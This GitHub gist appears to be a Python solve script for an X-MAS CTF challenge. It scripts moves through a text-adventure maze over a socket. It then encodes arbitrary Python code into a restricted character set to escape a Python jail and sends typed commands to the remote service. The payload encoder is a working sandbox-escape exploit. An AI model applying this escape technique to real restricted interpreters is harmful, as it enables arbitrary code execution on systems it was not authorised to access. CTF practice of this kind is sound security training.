Skip to content

Instantly share code, notes, and snippets.

@rynorris
Created December 19, 2020 13:19
Show Gist options
  • Save rynorris/b2431f9ec9421dc2319fea554d601709 to your computer and use it in GitHub Desktop.
Save rynorris/b2431f9ec9421dc2319fea554d601709 to your computer and use it in GitHub Desktop.
import socket
HOST = 'challs.xmas.htsp.ro'
PORT = 6001
log = open("net.log", "wb")
def send(s, data):
if isinstance(data, str):
data = bytearray(data, 'ascii')
s.sendall(data)
s.sendall(b'\n')
def recv_until(s, q):
buf = b""
while not buf.endswith(q):
data = s.recv(1)
buf += data
log.write(data)
log.flush()
return buf.decode("utf-8")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
def await_prompt():
print(recv_until(s, b"> "))
def do(cmd, quiet=False):
if not quiet:
print(cmd)
send(s, cmd)
await_prompt()
# Navigate the maze.
await_prompt()
do("east")
do("take can")
do("use can")
do("take bow")
do("west")
do("north")
do("west")
do("use can")
do("take snare")
do("east")
do("south")
do("west")
do("use can")
do("take timer")
do("east")
do("north")
do("east")
do("east")
do("east")
do("take gem")
do("west")
do("west")
do("west")
print(recv_until(s, b"GOOD LUCK!"))
ALLOWED_CHARS = "gemhuntersnarecantimer(),/v"
def one():
return "int(hash(int)/hash(int))"
def integer(n):
return "sum((" + ",".join([one()] * n) + "))"
def char(c):
return "chr(" + integer(ord(c)) + ")"
def string(s):
chars = [char(c) for c in s]
out = chars[0]
for c in chars[1:]:
out = "getattr(str,min(vars(str)))(" + out + "," + c + ")"
return out
def payload(code):
p = string(code)
for c in p:
if c not in ALLOWED_CHARS:
raise Exception("Invalid char: " + c)
return p
do("time")
await_prompt()
while True:
do(payload(input()), quiet=True)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment